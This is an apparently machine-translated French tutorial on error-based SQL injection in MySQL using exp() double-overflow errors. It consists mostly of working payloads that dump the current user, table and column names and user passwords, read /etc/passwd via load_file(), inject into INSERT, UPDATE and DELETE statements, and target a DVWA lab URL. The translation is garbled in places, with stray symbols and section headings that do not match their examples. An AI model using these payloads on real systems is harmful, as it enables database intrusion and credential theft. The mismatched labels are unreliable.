Maison >Opération et maintenance >Sécurité >Comment utiliser exp pour l'injection d'erreurs SQL

Comment utiliser exp pour l'injection d'erreurs SQL

WBOY
WBOYavant
2023-05-12 10:16:121747parcourir

0x01 Introduction Présentation

L'éditeur a découvert un autre double débordement de données dans MySQL. Lorsque nous obtenons les fonctions dans MySQL, l'éditeur s'intéresse davantage aux fonctions mathématiques. Elles doivent également contenir certains types de données pour enregistrer les valeurs. L'éditeur a donc exécuté un test pour voir quelles fonctions provoqueraient des erreurs de débordement. Puis l'éditeur a découvert que lorsqu'une valeur supérieure à 709 est passée, la fonction exp() provoquera une erreur de débordement.

Comment utiliser exp pour linjection derreurs SQL

<p>mysql> select exp(709);<br>+-----------------------+<br>| exp(709)              |<br>+-----------------------+<br>| 8.218407461554972e307 |<br>+-----------------------+<br>1 row in set (0.00 sec)</p><p>mysql> select exp(710);<br>ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'</p>

Dans MySQL, exp a la fonction opposée de ln et log Pour présenter brièvement, log et ln renvoient des paires avec e comme base. Nombre, voir équation :

Comment utiliser exp pour linjection derreurs SQL
Comment utiliser exp pour linjection derreurs SQL
<p>mysql> select log(15);<br>+------------------+<br>| log(15)          |<br>+------------------+<br>| 2.70805020110221 |<br>+------------------+<br>1 row in set (0.00 sec)</p><p><br>mysql> select ln(15);<br>+------------------+<br>| ln(15)           |<br>+------------------+<br>| 2.70805020110221 |<br>+------------------+<br>1 row in set (0.00 sec)</p>

La fonction exponentielle est la fonction inverse de la fonction logarithmique, exp() est la fonction logarithmique avec e comme base, telle que l'équation : 🎜 🎜#

En ce qui concerne l'injection, nous utilisons des requêtes négatives pour provoquer des erreurs "La valeur DOUBLE est hors de portée". Comme mentionné dans le billet de blog précédent de l'auteur, l'inversion au niveau du bit de 0 renverra "18446744073709551615". De plus, comme la fonction renvoie 0 après une exécution réussie, nous obtiendrons *** non signé en inversant la valeur BIGINT exécutée avec succès.
mysql> select exp(2.70805020110221);
+-----------------------+
| exp(2.70805020110221) |
+-----------------------+
|                    15 |
+-----------------------+
1 row in set (0.00 sec)
Comment utiliser exp pour linjection derreurs SQLNous créons une DOUBLE erreur de débordement via une sous-requête et une négation au niveau du bit, et l'utilisons pour injecter des données.
<p>mysql> select ~0;<br>+----------------------+<br>| ~0                   |<br>+----------------------+<br>| 18446744073709551615 |<br>+----------------------+<br>1 row in set (0.00 sec)</p><p><br>mysql> select ~(select version());<br>+----------------------+<br>| ~(select version())  |<br>+----------------------+<br>| 18446744073709551610 |<br>+----------------------+<br>1 row in set, 1 warning (0.00 sec)</p>

0x03 Injecter des données

Obtenir le nom de la table :

>`exp(~(select*from(select user())x))`       mysql> select exp(~(select*from(select user())x));      ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

Obtenir le nom de la colonne : #🎜🎜 #

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
Récupérer des données :

select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));
0x04 Overnight

Cette requête peut vider toutes les tables et colonnes du contexte actuel. Nous pourrions également vider la base de données entière, mais comme nous extrayons via une erreur, cela renverra très peu de résultats.

select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));

0x05 Lisez le fichier

Vous pouvez le lire via le load_file() function Récupère le fichier, mais l'auteur a constaté qu'il y a une limite de 13 lignes. Cette instruction peut également être utilisée dans les injections de débordement BIGINT.

exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))   http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#
Comment utiliser exp pour linjection derreurs SQL

Notez que vous ne pouvez pas écrire dans le fichier car cette erreur n'écrit que 0.

select exp(~(select*from(select load_file('/etc/passwd'))a));

0x06 Injection dans Insert

Suivez simplement les étapesComment utiliser exp pour linjection derreurs SQL
mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt';  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))'       # type C:\out.txt  0
Pour toutes les instructions d'insertion, de mise à jour et de suppression Les requêtes DIOS peuvent également être utilisées.

mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre');  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

0x07 Injection dans la mise à jour

mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre');  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000  newdb::users::id  newdb::users::username  newdb::users::password' from dual)))'

0x08 Injection dans la suppression

mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4;  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
#🎜 🎜 #Semblable à l'injection BIGINT précédente, l'injection exp est également applicable à MySQL5.5.5 et supérieur. Les versions précédentes étaient « muettes » sur cette situation.
mysql> delete from users where id='1' | exp(~(select*from(select user())x));  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

Il peut y avoir d'autres fonctions qui généreront ce genre d'erreur.

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer